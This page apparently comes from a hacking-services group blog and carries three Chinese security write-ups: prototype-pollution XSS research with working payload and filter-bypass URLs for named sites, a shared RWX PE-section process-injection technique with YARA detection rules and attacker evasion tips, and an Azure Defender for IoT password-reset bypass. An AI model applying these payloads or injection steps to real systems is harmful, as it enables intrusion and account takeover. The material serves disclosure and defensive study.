Jump to content

Hacker Technology

A group blog by Leader in Hacker Website - Providing Professional Ethical Hacking Services

  • Entries

    16114

  • Comments

    7952

  • Views

    863106745

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking

原型污染是一個有趣的漏洞，無論是服務器端還是客戶端。基於應用邏輯，原型污染會導致其他漏洞。例如，posix 引入了一種有趣的技術來在模板引擎中實現RCE，MichałBentkowski 展示了繞過客戶端HTML 清理程序，而William Bowling 使用原型污染在HackerOne 上發現了一個反射型XSS。從RCE 到SQL，任何漏洞都可能與javascript 應用程序中的原型污染有關。

介紹在這項研究中，我們的目標很簡單，即掃描所有漏洞披露程序的原型污染，並找到實現XSS 的腳本小工具。這篇技術文章將涉及我們創建的工具、面臨的挑戰以及整個過程中的案例研究。

我們對Web 應用程序感興趣的兩種情況是檢查它是否容易受到原型污染。

情況1在第一種情況下，我們要檢查應用程序是否正在解析查詢/哈希參數，並檢查它是否在過程中污染原型。我們發現80% 的嵌套參數解析器容易受到原型污染的影響。

讓我們假設Web 應用程序使用canjs-deparam 庫來解析查詢參數。正如你在下面的代碼中看到的，它創建了一個空對象並添加了鍵值對。顯然，如果我們請求的URL 是https://victim.com/#a=b__proto__[admin]=1，這會導致原型污染。

如你所想，通過在location.hash 和location.search 中迭代不同的原型污染有效負載，很容易識別應用程序是否具有易受攻擊的原型污染解析器。

以下是查詢字符串的不同變體，這些變體在解析時可能會導致污染。

4.png

SeleniumBot為了實現自動化，我們編寫了一個seleniumBot，它運行在一個巨大的子域數據庫上，並檢查應用程序是否存在漏洞。

瀏覽器擴展Bot的一個漏洞是我們無法掃描應用程序的目錄和授權終端，因為數據庫變得非常大，掃描需要幾天時間，且大多數程序禁止掃描。為了解決這個漏洞，我們編寫了一個chrome 擴展，其運行邏輯與Bot相同，但它會在用戶訪問chrome 中的特定終端時進行掃描。使用擴展程序，我們可以隨便使用chrome，並在後台掃描原型污染，你可以在這裡找到插件。

情況2在這種情況下，我們要檢查是否有任何功能在客戶端的用戶輸入或某些數據/響應處理導致原型污染，大多數情況下這會導致self-XSS，因為攻擊者無法控制輸入如情況1 中的來自該位置輸入。但它值得掃描，大多數時候self-XSS可以轉換為reflection-XSS。

幸運的是，在這種情況下，自動化有點困難，CodeQL 使事情變得更容易。我們只選擇了收入最高的頂級程序，並轉儲了所有的javascript 文件，創建了一個CodeQL 數據庫，並掃描了導致原型污染的模式。

這樣，我們就能夠找到一個用戶控制的JSON，他可以與另一個導致原型污染的應用程序合併。

識別易受攻擊的庫一旦Bot識別出易受攻擊的應用程序，我們的下一個任務是識別易受攻擊的庫和原型被污染的確切行，並將結果存儲在數據庫中。為了識別，我們使用了幾種不同的技術。

如果應用程序並不復雜，在Chrome 開發者工具中搜索諸如location.hash/decodeURIComponent/location.search 之類的關鍵字將導致找到易受攻擊的實現的確切功能。

在Firefox 中阻止JS 資源請求在Firefox 開發者工具網絡活動中有一個很好的選項叫做Block URL，所以為了找到負責原型污染的js 資源，我們阻止URL 並檢查污染的屬性是否未定義。

setter 上的調試器斷點這種技術比其他技術更簡單，當屬性設置為object .prototype時，我們可以設置一個斷點。

7.png

查找腳本小工具什麼是腳本小工具？在某個屬性被污染後，是否有應用程序邏輯或函數會導致Javascript執行?

讓我們看一個在SwiftType Search庫中找到的腳本小工具的簡單示例。實現XSS的有效負載是https://example.com/#__proto__[xxx]=alert(1)。

下面是一段代碼（腳本小工具）負責彈出警報，$.each 迭代this._userServerConfiguration.install.hooks 對像以及原型上的屬性，這導致我們被污染的屬性xxx 被評估。

8.png

基於這個應用程序，我們使用了不同的技術來查找腳本小工具。

關鍵字搜索和源代碼審查如果應用比較簡單，我們可以搜索srcdoc/innerHTML/iframe/createElement 等關鍵字，查看源代碼，檢查是否導致javascript 執行。有時，提到的技術可能根本找不到小工具。在這種情況下，純源代碼審查會顯示一些不錯的小工具，如下例所示。

BlackFan 通過源代碼審查在jQuery 中發現了這個很酷的小工具。

小工具9.png

這是一段小工具的代碼：

10.png

SecurityMB 的pollute.js我們已經圍繞SecurityMB 的pollute.js 編寫了一個burp 擴展，它將所有JS 資源替換為由pollute.js 生成的修改版本。此外，我們修改了pollute.js，使其僅在某個屬性受到污染時才記錄信息。

pollute.js 的基本思想是它通過在所有屬性訪問周圍添加調試函數來檢測代碼，該函數會記錄訪問Object.prototype 屬性時的確切訪問行。

檢查下面的插件。

注意：插件並不完美，tmp.js 可能會被覆蓋，最好使用一個隨機名稱。

Filedescriptor 的不受信任類型擴展不受信任類型通過濫用可信類型來記錄DOM sink，我們檢查這些DOM sinks是否有任何可能被污染的屬性，進而導致XSS。

如果你在安裝了插件的情況下訪問https://msrkp.github.io/，你會注意到jQuery 中的一個innerHTML sink。其中，wrapMap[tag] 是未定義的，這意味著我們可以用數組污染wrapMap 的“li”屬性，並且第一個或第二個元素將被注入到頁面中。

通過污染“li”屬性導致XSS類似於文件描述符的擴展securitymb的pollution .js記錄類似的堆棧跟踪，我們必須檢查源代碼，並檢查它是否導致手動XSS。

一旦找到這個小工具，我們就向相應的程序報告這個漏洞。

將易受攻擊的庫和小工具存儲在數據庫中我們計劃將所有易受攻擊的小工具和庫存儲在數據庫中。

在構建了易受攻擊的庫和腳本、小工具的數據庫後，可以使用它來促進Prototype Pollution 的搜索和利用。

例如，在某些情況下，JavaScript 代碼中存在易受攻擊的庫，但會在特定條件下執行。為了覆蓋這些變體，可以使用正則表達式檢測庫。由於代碼可以通過縮小修改並組裝成一個大的JS 文件，所以搜索正則表達式不應太嚴格，應該使用在縮小過程中不改變的片段。例如，你可以搜索在查詢字符串處理中使用的正則表達式。

為此，構建了一個規則庫，可以通過使用Burp 的“漏洞消息檢查”或“軟件版本報告器”擴展分析HTTP 響應來檢測被動模式下的易受攻擊的庫。

chrome 擴展中添加了相同的功能，它使用數據庫中提到的導致污染的模式搜索js 資源。

Web 應用程序中的被動搜索記錄jQuery 查詢對象易受攻擊的庫。鏈接到burp 插件：https://github.com/BlackFan/cspp-tools/tree/main/match_rules。

示例研究案例研究1：CodeQL這是我最喜歡的一個漏洞，有一次我試圖使用插件和selenium bot 找到污染。但他們都沒有顯示出任何有趣的結果。所以，我想到了使用CodeQL來掃描這個漏洞，因為程序的範圍非常大，而且有很多JS密集型的應用程序。

於是我只能掃描所有有趣的應用程序並將JS 文件下載到一個文件夾中。然後，我創建了一個CodeQL 數據庫，並在https://github.com/github/codeql 上提供的查詢的幫助下編寫了一個查詢，但我面臨的漏洞是我必須為每個庫的基本deparam 查詢編寫一個易受攻擊的代碼模式，這是不可行的。來自GHSecurity 實驗室的@asgerf 提出了一個通用查詢，其中RemoteFlowSource 或location.{hash,search} 作為源，不安全的屬性分配作為Sink。此查詢的缺點是應該調用解析器函數https://www.google.com/url?q=https%3A%2F%2Fgithub.com%2Fgithub%2Fsecuritylab%2Fdiscussions%2F209%23discussioncomment-145109sa=Dsntz=1usg=AFQjCNFDSqqg5OWJTbhafhqaa4OR2chcjg。無論如何，我在我創建的JS 數據庫上運行這些查詢，並希望找到易受攻擊的合併調用或位置解析器。

令我驚訝的是，它顯示了下載的javascript 文件中存在易受攻擊的合併的結果。然後一位研究人員和我開始努力利用它。由於位置解析中不存在污染，我們必須找出哪些函數污染了原型。

1、污染原型

經過兩天的努力，我們能夠通過將JSON 有效負載發送到保存有效負載的某個終端來污染原型，當客戶端收到相同的有效負載時，原型就會受到污染。

2、尋找小工具

我們花了兩天多的時間才找到合適的小工具，在一個Web Worker中發現了一個javascript代碼的執行。

15.png

由於Web Worker 不能直接操作DOM，所以這個XSS 的影響非常低。經過大量的源代碼審查，我們能夠找到合適的小工具。

3、帳戶接管權限

你可能已經註意到這是一個self XSS，我們必須展示其影響。又過了一天，我們通過在iframes/windows 中打開敏感頁面來升級self XSS 以接管帳戶，並使用SAML 登錄我們的帳戶並讀取敏感頁面中的數據以接管帳戶。

案例研究2：Jira Service Management 4.16.0 上的原型污染我們使用selenium bot 掃描了HackerOne、Bugcrowd 和Intigriti 中的所有私有和公共程序。有許多具有位置解析功能的應用程序會導致污染，而且大多數情況下漏洞在於第三方分析服務或使用易受攻擊的庫。我們注意到一個易受攻擊的網站，其域為jira.random.com/servicedesk/customer/user/requests?__proto__.x=11111。出於好奇，我們尋找了各個公司的Jira 服務管理。

污染的根本原因：Jira服務管理使用的骨干查詢參數容易受到原型污染的影響。

XSS腳本小工具：Posix想出了下面這個小工具，它可以在所有Jira網站上使用。

Gadget:__proto__.isFresh=xxx__proto__.onmousemove=alert(1)//__proto__.onmousemove=1

腳本：

16.png

下面是使用文件描述符的不受信任類型找到的其他一些小工具。

17.png

jira.mozilla.com 上的XSS

其中一個使用Jira的Mozilla域也有同樣的漏洞，我們把這個漏洞提交給了Mozilla，得到了2000美元的獎勵。

URL：

18.png

我們最初認為這是用戶安裝的模塊漏洞，但後來意識到該漏洞存在於所有自託管的4.16.0 版以下的Jira網站中。

Jira 通過將__proto__, constructor和prototype項列入黑名單來修復該漏洞，但是如果你清楚地註意到_setParamValue 函數，字符[] 將從項中刪除，這意味著我們可以使用像__pro[]to__ 這樣的項繞過修復。

19.png

繞過：https://local:8080/servicedesk/customer/user/signup?__pro[]to__.div=1__pro[]to__.div=%3Cimg%20src%20onerror=alert(document.domain)%3E__pro[]to__.div=1

案例研究3：使用Rahul 和Harsh 的chrome 擴展程序發現apple.com 上的XSS1、發現漏洞

Rahul 和Harsh最終確定了創建可用於這些終端的chrome 擴展。他們編寫了一個基本的chrome 擴展，基本上用原型污染有效載荷更改location.search/location.hash 並檢查原型是否被污染。

當時，他們已經在研究蘋果的計劃。所以，他們做的第一件事就是開始瀏覽apple.com的網頁來測試這個插件。該擴展程序在https://www.apple.com/shop/buy-watch/apple-watch 彈出了存在原型污染的通知。有那麼一瞬間，我們都認為這是一個誤報，但原型確實被污染了。

2、尋找小工具

在BlackFan 的幫助下，我們很快找到了一個小工具。最終的URL 是，https://www.apple.com/shop/buy-watch/apple-watch?__proto__[src]=image__proto__[onerror]=alert(1)

污染位於蘋果用來解析位置的canJS-deparam 庫中。

最初，蘋果通過檢查__proto__ 是否在屬性中來修復該漏洞，因為你可能已經知道這可以使用[constructor][prototype] 繞過，因此最終繞過URL 將是https://www.apple.com/shop /buy-watch/apple-watch?a[constructor][prototype]=imagea[constructor][prototype][onerror]=alert(1)。

我們提交了繞過修復，蘋果通過完全刪除位置解析修復了這個漏洞。

案例研究4：HubSpot 分析HubSpot 容易受到原型污染的影響，它在解析查詢字符串（location.search）的js 文件中使用了deparam。 HubSpot 被超過121000 家公司使用。我們發現，由於HubSpot使用的第三方分析，許多應用程序容易受到XSS的攻擊。

1、第一種繞過方法

Hubspot通過將__proto__ key列入黑名單來修復這個漏洞，因此它可以被構造函數[prototype][taint]=contamination繞過，我們報告了這個繞過，他們通過創建一個空Object來修復這個繞過。

20.png

2、第二種繞過方法：通過Nikita Stupin 繞過

Nikita Stupin 使用以下有效載荷找到了一個很酷的繞過方法：

?__proto__=0[taint]=polluted

如果__proto_, constructor, prototype 存在於項中，他們通過將小寫更改為大寫來修復繞過。

22.png

案例研究5：Masato Kinugawa 的細分分析污染Segment Analytics 使用容易受到原型污染的組件查詢字符串。這是一個有趣的原型污染，只有當屬性為Number 時才會發生污染。

23.png

這是造成污染的代碼。

24.png

找到一個只有數字污染的小工具是非常困難的。我們發現許多使用組件查詢字符串或分段分析的漏洞賞金網站仍然容易受到污染，但沒有小工具，就沒有任何影響。我們無法在任何易受此漏洞影響的應用程序中實現XSS。

Trello 就是這個漏洞的一個例子，你可以注意到Object.prototype[123] 被污染了：https://trello.com/?__proto__[123]=xx

在knockout.js中，securityymb找到了一個使用數字的小工具，如果易受攻擊的網站使用knockout.js，那你就太幸運了。

25.png

緩解措施1.在合併兩個對像或解析位置並將其轉換為對象時，請確保使用包含以下__proto__、prototype、constructor 的屬性的拒絕列表，確保在將屬性添加到對象之前進行拒絕列表檢查，並且不要像Jira 那樣犯錯誤。

2.如果應用程序是Node.js，你可以使用命令行選項--disable-proto 禁用Object.prototype.__proto__ 屬性。

HireHackking

在本文中，我們將探討如何濫用某些特殊的PE節（PE Sections），在無需直接訪問進程的情況下將任意shellcode植入遠程進程的內存中。

跨進程橫向移動是惡意軟件中非常常見的一種技術，以便在系統間進行傳播。近年來，微軟已經通過“Microsoft-Windows-Threat-Intelligence”ETW提供程序增加了安全遙測功能，以對抗這種威脅。

當這種新增的遙測功能與現有的方法（如ObRegisterCallbacks）結合在一起後，攻擊者在進行橫向移動過程中，相關的惡意操作很難逃過內核可見遙測的法眼。在本文中，我們將探討如何濫用某些特殊的PE節，在無需直接訪問進程的情況下將任意shellcode植入遠程進程的內存中。

背景知識現有的橫向移動方法，通常都涉及危險的API調用，如OpenProcess，以獲得進程句柄，並伴有與內存相關的操作，如VirtualAlloc、VirtualProtect或WriteProcessMemory。近年來，針對這些操作的檢測有所增加。

例如，在舊版本的Windows上，內核驅動程序可見的唯一跨進程API調用，就是ObRegisterCallbacks，它常用於創建進程和線程句柄。

微軟威脅情報ETW提供程序引入的可見性已經擴展到涵蓋以下操作：

1、讀/寫虛擬內存調用（EtwTiLogReadWriteVm）；

2、可執行內存的分配（EtwTiLogAllocExecVm）；

3、將內存保護屬性改為可執行文件（EtwTiLogProtectExecVm）；

4、映射可執行節（EtwTiLogMapExecView）。

進入另一個進程上下文的其他方法通常與其他檢測向量一起出現。例如，橫向移動的另一種方法可能涉及基於磁盤的攻擊，如代理Dll注入。這類攻擊的問題在於，它們通常需要將惡意代碼寫入磁盤，這對於基於內核的防禦解決方案是可見的。

由於已知的跨進程移動方法需要用到這些可見的操作，因此，要想打敗防御者可用的遙測技術，就必須超越現有的方法。

發現過程最近，我研究了在不影響PE格式二進製文件可用性的條件下，可以將這種二進製文件破壞到哪種程度。例如，您是否可以將已知的惡意工具（如Mimikatz）破壞到這樣一種程度：既不會影響其可操作性，同時，還能讓反病毒軟件中內置的映像解析器無法正常對其進行解析？

與Linux中的ELF可執行文件類似，Windows PE映像也是由“節”組成的。例如，代碼通常存儲在名為.text的節中，可變數據可以在.data節中找到，而只讀數據通常存放到.rdata節中。但是，操作系統是如何知道哪些節包含代碼，或是可寫的呢？每個節都具有相應的“characteristics（特徵）”，用於記錄這段內存的相關信息。

對於PE節來說，單單記錄在冊的特徵就超過35個。其中，最常見的特徵包括IMAGE_SCN_MEM_EXECUTE、IMAGE_SCN_MEM_READ和IMAGE_SCN_MEM_WRITE，它們分別用於定義一個節是否為可執行、可讀和/或可寫的。然而，這些只是PE節的各種特徵中的一小部分而已。

當試圖破壞PE節頭時，一個特定的標誌引起了我的注意：

1.png

“IMAGE_SCN_MEM_SHARED”特徵

根據Microsoft的文檔，IMAGE_SCN_MEM_SHARED標誌表示“該節可以在內存中共享”。但是，這到底是什麼意思呢？在網絡中沒有找到太多關於該標誌的說明文檔，但事實證明，如果啟用該標誌，該節的內存將在加載了該映像的所有進程之間共享。例如，如果進程A和B加載一個PE映像，其中包含一個“共享”（並且可寫）的節，那麼進程A中該節的內存中的任何變化都將反映在進程B中。

與我們將在本文中討論的理論密切相關的一篇文獻是“DLL shared sections: a ghost of the past”。在這篇文章中，Coldwind探討了由具有IMAGE_SCN_MEM_SHARED特徵的PE節的二進製文件所帶來的潛在風險。

Coldwind解釋說，這些PE映像帶來的風險“是一個古老而眾所周知的安全問題”，並引用了微軟在2004年發表的一篇文章，題為“ Why shared sections are a security hole”。該文章只考察了“讀/寫共享節”和“只讀共享節”所構成的威脅，而沒有討論第三種可能，即“讀/寫/執行共享節”。

利用共享節儘管研究人員和微軟本身知道共享節的一般風險已經有很長一段時間了，但還沒有文獻對可讀、可寫和可執行(RWX-S)的共享節的潛在濫用進行過深入介紹。

RWX-S二進製文件具有極大的進攻潛力，這是因為：如果您可以使遠程進程加載指定的RWX-S二進製文件，那麼您就在遠程進程中獲得了一個可執行的內存頁，即使您對這個內存頁進行修改，基於內核的防禦解決方案也是看不到的。為了注入代碼，攻擊者可以將RWX-S二進製文件加載到自己的進程中，並在內存中使用他們想要的任何惡意代碼編輯該節，然後將RWX-S二進製文件加載到遠程進程中，這時，他們自己進程中的修改也會反映在受害者進程中。

加載RWX-S二進製文件本身的操作對防禦性解決方案仍然是可見的，但正如我們將在後面的部分中討論的那樣，對於在惡意上下文之外使用的合法RWX-S二進製文件，實際上有很多選擇的餘地。

使用這種技術時，有幾點需要注意：

1、攻擊者必須能夠將RWX-S二進製文件加載到遠程進程中。不過，該二進製文件不需要包含任何惡意代碼，但是，必須有一個PE節是RWX-S的。

2、如果RWX-S二進製文件是用於x86架構的，則x64進程內的LoadLibrary調用將失敗。不過，我們仍然可以通過打開文件、創建具有屬性SEC_IMAGE的節並映射節的視圖，在x64進程中手動映射x86二進製文件。

3、RWX-S二進製文件不在會話之間共享。 RWX-S二進製文件由同一會話中的非特權進程和特權進程共享。

4、對共享節的修改不會寫入磁盤。例如，由ReadFile返回的緩衝區，以及映射具有屬性SEC_COMMIT的映像時所返回的緩衝區，都不包含對共享節的任何修改。只有當二進製文件映射為SEC_IMAGE時，才會存在這些更改。這也意味著對共享節的任何修改都不會破壞磁盤上的驗證碼簽名。

5、除非所使用的RWX-S二進製文件的入口點位於共享可執行節中，否則攻擊者必須能夠在遠程進程中的任意地址執行代碼。這不需要直接的進程訪問。例如，SetWindowsHookEx可用於在沒有直接進程訪問權限的情況下執行模塊中的任意指針。

接下來，我們將為讀者介紹該理論的實際實現，以及RWX-S宿主二進製文件的在野普及情況。

通過修改入口點以獲得執行權限在某些情況下，可以繞過攻擊者必須能夠在遠程進程中執行任意指針的限制。

如果RWX-S宿主二進製文件的入口點位於RWX-S節內，則攻擊者不需要特殊的執行方法。

相反，在將RWX-S宿主二進製文件加載到遠程進程之前，攻擊者可以修改位於映像入口點的內存，使其指向指定的shellcode。當受害進程加載RWX-S宿主二進製文件並試圖執行入口點時，攻擊者的shellcode將被執行。

在野外尋找RWX-S二進製文件這項研究試圖解決的問題之一是“RWX-S的威脅有多廣泛？”。為了確定這項技術的流行程度，我使用了VirusTotal的Retrohunt功能，該功能允許用戶“使用……YARA規則掃描過去12個月中發送給VirusTotal的所有文件”。

為了在野外檢測無簽名的RWX-S二進製文件，我們創建了一個自定義YARA規則，專門用於檢查PE映像中的RWX-S節：

import'pe'

ruleRWX_S_Search

{

meta:

description='DetectsRWX-Sbinaries.'

author='BillDemirkapi'

condition:

foranyiin(0.pe.number_of_sections-1):(

(pe.sections[i].characteristicspe.SECTION_MEM_READ)and

(pe.sections[i].characteristicspe.SECTION_MEM_EXECUTE)and

(pe.sections[i].characteristicspe.SECTION_MEM_WRITE)and

(pe.sections[i].characteristicspe.SECTION_MEM_SHARED))

}這個規則所做的事情，就是枚舉二進製文件的PE節，並檢查它是否可讀、可寫、可執行和共享的。

當通過Retrohunt功能搜索這個規則時，會發現超過10,000個無簽名的二進製文件（當結果超過10,000個時，Retrohunt功能就會停止搜索）。

當再次搜索該規則時，可以稍微修改一下，以檢查PE映像對應的機器類型是否為MACHINE_AMD64機，這時，只找到了99個x64架構的RWX-S二進製文件。

這表明，在過去的12個月中，用於x64機器的RWX-S二進製文件相對不常見，同時還表明防禦性解決方案可能能夠過濾RWX-S二進製文件，而不會在受保護的機器上產生明顯的噪聲。

為了檢測已簽名的RWX-S二進製文件，只需對上面的YARA規則稍加修改，以包含對authenticode簽名的檢查。

import'pe'

ruleRWX_S_Signed_Search

{

meta:

description='DetectsRWX-Ssignedbinaries.Thisonlyverifiesthattheimagecontainsasignature,notthatitisvalid.'

author='BillDemirkapi'

condition:

foranyiin(0.pe.number_of_sections-1):(

(pe.sections[i].characteristicspe.SECTION_MEM_READ)and

(pe.sections[i].characteristicspe.SECTION_MEM_EXECUTE)and

(pe.sections[i].characteristicspe.SECTION_MEM_WRITE)and

(pe.sections[i].characteristicspe.SECTION_MEM_SHARED))

andpe.number_of_signatures0

}不幸的是，對於YARA規則，沒有一個簡單的方法來確定一個PE映像是否包含基於有效證書的authenticode簽名——所謂有效證書，指的是還未過期，或在證書有效期內用有效的時間戳簽名的。這意味著上面的YARA規則會包含一些具有無效簽名的二進製文件的誤報。由於存在誤報，上面的規則無法直接給出一個具有有效的authenticode簽名的RWX-S二進製文件清單。為了提取已簽名的二進製文件，我們編寫了一個簡單的Python腳本，下載低於檢測閾值的每個樣本並驗證每個二進製文件的簽名。

經過這一處理，發現了大約15個具有有效簽名的獨特二進製文件。正如未簽名的二進製文件檢查結果所示，在過去12個月裡，具有簽名的RWX-S二進製文件在野外並不是很多。此外，15個獨特的已簽名二進製文件中只有5個是用於x64機器。值得注意的是，雖然這個數字看起來很低，但使用已簽名的二進製文件只是為了方便，在大多數情況下肯定不是必需的。

濫用未簽名的RWX-S二進製文件修改未簽名的二進製文件鑑於諸如用戶模式代碼完整性之類的緩解措施尚未得到廣泛採用，因此，修改現有的未簽名二進製文件仍然是一種可行的方法。

若要通過未簽名的二進製文件來濫用RWX-S節，攻擊者可以：

1、查找要修改的、合法但未簽名的宿主DLL。

2、將未簽名的DLL讀入內存，並修改節的特徵，使其具有可讀、可寫、可執行和共享的特性。

3、在使用之前，將這個新修補的RWX-S宿主二進製文件寫入磁盤的某個位置。

以下是維護操作安全的幾點建議：

1、建議攻擊者不要修補磁盤上現有的二進製文件。例如，如果攻擊者只修改了現有二進製文件的節特徵，並將修改過的程序寫入磁盤上的同一路徑，則防禦解決方案可以檢測到RWX-S補丁已應用於現有的文件。因此，建議將修補後的二進製文件寫入磁盤上的不同位置。

2、建議攻擊者添加RWX-S以外的其他補丁程序，比如修改與節特徵相關的其他無意義的屬性，或者隨機修改部分代碼（重要的是這些修改看上去並不是惡意的）。這樣做，是為了迷惑對手。

使用現有的未簽名二進製文件實際上，攻擊者並不需要創建自定義的、應用過補丁的二進製文件。例如，使用上一節中的YARA規則，攻擊者可以使用任何可能用於合法應用程序的現有未簽名RWX-S二進製文件。

在內核中濫用已簽名的RWX-S二進製文件儘管在過去的12個月內只發現了15個有簽名的RWX-S二進製文件，但在利用可能需要已簽名模塊的進程時，具有有效的authenticode簽名這一事實可能非常有用。

搜索顯示的一個有趣的已簽名的RWX-S二進製文件是一個已簽名驅動程序。當試圖測試共享節是否可以從用戶模式複製到內核模式時，發現內存沒有共享，即使已經通過Session 0中的進程映射和修改了該映像。

小結儘管共享節的稀有性為防御者提供了獲得高保真遙測的獨特機會，但RWX-S二進製文件仍然是一種強大的方法，它戳破了關於跨進程內存分配和執行的常見臆想。圍繞這一技術，防御者面臨的主要挑戰是它在未簽名代碼中的普遍性。檢測RWX-S二進製文件可能相對簡單，但你如何判斷它是否被用於合法的應用程序呢？

HireHackking

SentinelLabs 在Microsoft Azure Defender for IoT 中發現了許多影響雲和本地客戶的嚴重漏洞。

未經身份驗證的攻擊者可以通過濫用Azure 密碼恢復機制中的漏洞遠程攻擊受Microsoft Azure Defender for IoT 保護的設備。

SentinelLabs的調查結果已於2021年6月主動報告給微軟，這些漏洞被定義為CVE-2021-42310、CVE-2021-42312、CVE-2021-37222、CVE-2021-42313 和CVE-2021-42311，且標記為嚴重，一些CVSS 得分甚至為10.0。

Microsoft 已發布安全更新以解決這些嚴重漏洞。鼓勵用戶立即採取行動。

目前，SentinelLabs 尚未發現野外濫用的證據。

技術細節運營技術(OT) 網絡雖然很流行，但是，其中許多技術在設計時並未考慮到安全性，並且無法通過傳統的IT 安全控制進行保護。與此同時，物聯網(IoT) 所連接的數十億設備大大增加了攻擊面和安全風險。

但供應商並沒有忽視這個問題，許多供應商都提供了安全解決方案以試圖解決這個問題，但如果安全解決方案本身就存在著漏洞怎麼辦？在本文中，我們將討論Microsoft Azure Defender for IoT 中發現的嚴重漏洞，這是Microsoft Azure 的IoT/OT 網絡安全產品。

首先，我們會介紹密碼重置機制中的漏洞如何被遠程攻擊者濫用以獲得未經授權的訪問。然後，我們討論了Defender for IoT 中的多個SQL 注入漏洞，這些漏洞允許遠程攻擊者無需身份驗證即可獲得訪問權限。最終，提出有關安全產品本身的安全性及其對易受攻擊部門安全態勢的整體影響的嚴重問題。

Microsoft Azure Defender for IoTMicrosoft Defender for IoT 是一種無代理網絡層安全性，用於持續的IoT/OT 資產發現、漏洞管理和威脅檢測，無需更改現有環境。它可以完全部署在本地或與Azure 連接的環境中。

1.jpg

該解決方案由兩個主要組件組成：

Microsoft Azure Defender For IoT Management——使SOC 團隊能夠管理和分析從多個傳感器聚合到單個儀表板的警報，並提供網絡安全狀況的整體視圖。

Microsoft Azure Defender For IoT Sensor – 發現並持續監控網絡設備。傳感器使用物聯網和OT 設備上的被動（無代理）監控來收集ICS 網絡流量。傳感器連接到SPAN 端口或網絡TAP，並立即開始對IoT 和OT 網絡流量執行DPI（深度數據包檢測）。

這兩個組件既可以安裝在專用設備上，也可以安裝在VM 上。

深度包檢測(DPI) 是通過負責分析網絡流量的Horizon 組件實現的。 Horizon 組件加載內置解析器，並且可以擴展以添加自定義網絡協議解析器。

物聯網Web 界面攻擊面防禦管理和傳感器共享大致相同的代碼庫，配置更改以適應設備的用途。這就是為什麼兩台設備都受到大多數相同漏洞影響的原因。

兩台設備上暴露的最吸引人的攻擊面是Web 界面，它允許以簡單的方式控制環境。該傳感器還暴露了另一個攻擊面，即解析網絡流量的DPI 服務。

安裝和配置管理和傳感器後，我們會看到Web 界面的登錄頁面。

2.jpg

相同的憑據也用作SSH 服務器的登錄憑據，這讓我們對系統的工作方式有了更多的了解。我們要做的第一件事是獲取資源以了解幕後發生的事情，那麼我們如何獲取這些資源呢？

Defender for IoT 是一款前身為CyberX 的產品，於2020 年被微軟收購。在“cyberx”用戶的主目錄中查找，我們發現了安裝腳本和一個包含系統加密文件的tar 壓縮文件。讀取腳本時，我們找到了解密壓縮文件的命令。簡化版如下：

3.png

解密密鑰在所有安裝中共享。

提取數據後，我們找到了Web 界面的源代碼（用Python 編寫）並開始工作。

首先，我們的目標是找到任何公開的未經身份驗證的API，並查找其中的漏洞。

尋找潛在的漏洞urls.py 文件包含Web 應用程序的主要路由：

4.png

使用Jetbrains IntelliJ 的類層次結構功能，我們可以輕鬆識別不需要身份驗證的路由控制器。

5.jpg

不需要身份驗證的路由控制器從BaseHandler 繼承並且不驗證身份驗證或需要秘密令牌的每個控制器在此時都是一個很好的候選者。

Azure 的密碼恢復機制管理和傳感器的密碼恢復機制操作如下：

1.訪問管理/傳感器URL（例如，https://ip/login#/dashboard）；

2.進入“密碼恢復”頁面；

6.jpg

3.將此頁面中提供的ApplianceID 複製到Azure 控制台，並獲取你在密碼重置頁面中上傳的密碼重置ZIP 文件。

7.jpg

4.使用步驟2 中提到的表格將簽名的ZIP 文件上傳到管理/傳感器密碼恢復頁面。這個ZIP包含數字簽名的證明，通過數字證書和簽名數據的方式，證明用戶是這台設備的所有者。

5.生成新密碼並顯示給用戶：

5.1實際過程分為對管理/傳感器服務器的兩個請求：

5.1.1上傳簽名的ZIP 證明；

5.1.2密碼恢復；

5.2當上傳ZIP文件時，它被解壓縮到/var/cyberx/reset_password目錄(由zipfileconfigationapihandler處理)；

5.3在處理密碼恢復請求時，服務器會執行以下操作：

5.3.1 PasswordRecoveryApiHandler 控制器驗證證書。這將驗證證書是否由根CA 正確簽名。此外，它還會檢查這些證書是否屬於Azure 服務器。

5.3.2向內部Tomcat 服務器發送請求以進一步驗證設備的屬性。

5.3.3如果所有檢查都正確通過，PasswordRecoveryApiHandler將生成一個新密碼並將其返回給用戶。

ZIP 包含以下文件：

IotDefenderSigningCertificate.pem – Azure 公鑰，用於驗證ResetPassword.json 中的數據簽名，由issuer.pem 簽名。

Issuer.pem – 簽署IotDefenderSigningCertificate.pem，由受信任的根CA 簽署。

ResetPassword.json – JSON 應用程序數據，設備的屬性。

ResetPassword.json 文件的內容如下所示：

8.png

根據步驟2，處理文件上傳到reset_password目錄（components\xsense-web\cyberx_web\api\admin.py:1508）的代碼如下：

9.png

如下所示，該代碼將用戶交付的ZIP解壓到上述目錄，並處理密碼恢復請求(cyberx python庫文件django_helper .py:576)：

10.1.png

10.2.png

該函數首先驗證提供的用戶並調用函數_try_reset_password：

11.png

在內部，此代碼會驗證證書，包括頒發者。

之後，對內部API http://127.0.0.1:9090/core/api/v1/login/reset-password 的請求由最終執行以下代碼的Java 組件發出和處理：

11.1+1.png

此代碼再次驗證密碼重置文件。這次它還驗證了ResetPassword.json 文件的簽名及其屬性。

如果一切順利並且Java API 返回200 OK 狀態碼，PasswordRecoveryApiHandler 控制器繼續並生成新密碼並將其返回給用戶。

Defender for IOT 中的漏洞如圖所示，密碼恢復機制由兩個主要部分組成：

Python Web API（外部）；

Java Web API（tomcat，內部）；

這引入了一個time-of-check-time-of-use(TOCTOU) 漏洞，原因是沒有應用同步機制。

如上所述，重置密碼機制從上傳ZIP 文件開始。這個原語允許我們將任何文件上傳到/var/cyberx/reset_password目錄並將其解壓縮。

可以在第一次驗證（Python API）和第二次驗證（Java API）之間更改/var/cyberx/reset_password 中的文件，Python API文件由Azure 證書正確簽名。然後，Java API 處理要替換的自定義文件，導致它錯誤地同意其真實性並返回200 OK 狀態代碼。

12+1.gif

密碼恢復Java API包含邏輯漏洞，這些漏洞讓專門設計的有效負載繞過了所有驗證。

Java API 驗證JSON 文件的簽名（與上面的代碼相同）：

13+1.png

這裡的問題是它沒有驗證IotDefenderSigningCertificate.pem 證書，而不是Python API 驗證。它只檢查JSON 文件中的簽名是否由附加的證書文件簽名，這引入了一個重大漏洞。

因此，攻擊者可以生成自簽名證書並簽署將通過簽名驗證的ResetPassword.json 有效負載。

如前所述，ResetPassword.json 如下所示：

15+1 (2).png

